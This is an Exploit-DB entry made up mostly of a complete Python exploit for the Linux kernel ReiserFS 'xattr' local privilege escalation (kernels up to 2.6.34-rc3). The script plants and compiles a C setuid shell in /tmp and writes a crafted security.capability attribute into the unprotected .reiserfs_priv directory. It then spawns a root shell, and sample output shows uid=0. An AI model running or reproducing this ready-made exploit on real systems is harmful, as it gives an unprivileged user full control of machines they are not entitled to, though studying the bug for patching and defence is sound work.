ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation

EDB-ID:

12130


Platform:

Linux

Published:

2010-04-09

#!/usr/bin/env python

''' 
  team-edward.py
 
  Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation
  Jon Oberheide <jon@oberheide.org>
  http://jon.oberheide.org
  
  Information:
 
    https://bugzilla.redhat.com/show_bug.cgi?id=568041

    The kernel allows processes to access the internal ".reiserfs_priv"
    directory at the top of a reiserfs filesystem which is used to store 
    xattrs. Permissions are not enforced in that tree, so unprivileged 
    users can view and potentially modify the xattrs on arbitrary files.

  Usage:
 
    $ python team-edward.py
    [+] checking for reiserfs mount with user_xattr mount option
    [+] checking for private xattrs directory at /.reiserfs_priv/xattrs
    [+] preparing shell in /tmp
    [+] capturing pre-shell snapshot of private xattrs directory
    [+] compiling shell in /tmp
    [+] setting dummy xattr to get reiserfs object id
    [+] capturing post-shell snapshot of private xattrs directory
    [+] found 1 new object ids
    [+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468
    [+] spawning setuid shell...
    # id
    uid=0(root) gid=0(root) groups=4(adm), ...
 
  Notes:
 
    Obviously requires a ReiserFS filesystem mounted with extended attributes.
    Tested on Ubuntu Jaunty 9.10.
''' 

import os, sys

SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'
XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

def err(txt):
    print '[-] error: %s' % txt
    sys.exit(1)

def msg(txt):
    print '[+] %s' % txt

def main():
    msg('checking for reiserfs mount with user_xattr mount option')

    f = open('/etc/fstab')
    for line in f:
        if 'reiserfs' in line and 'user_xattr' in line:
            break
    else:
        err('failed to find a reiserfs mount with user_xattr')
    f.close()

    msg('checking for private xattrs directory at /.reiserfs_priv/xattrs')

    if not os.path.exists('/.reiserfs_priv/xattrs'):
        err('failed to locate private xattrs directory')

    msg('preparing shell in /tmp')

    f = open('/tmp/team-edward.c', 'w')
    f.write(SHELL)
    f.close()

    msg('capturing pre-shell snapshot of private xattrs directory')

    pre = set(os.listdir('/.reiserfs_priv/xattrs'))
    
    msg('compiling shell in /tmp')

    ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward')
    if ret != 0:
        err('error compiling shell, you need gcc')

    msg('setting dummy xattr to get reiserfs object id')

    os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward')
    if ret != 0:
        err('error setting xattr, you need setfattr')

    msg('capturing post-shell snapshot of private xattrs directory')

    post = set(os.listdir('/.reiserfs_priv/xattrs'))

    objs = post.difference(pre)

    msg('found %s new object ids' % len(objs))

    for obj in objs:
        msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj)
   
        f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w')
        f.write(XATTR)
        f.close()

    msg('spawning setuid shell...')

    os.system('/tmp/team-edward')

if __name__ == '__main__':
    main()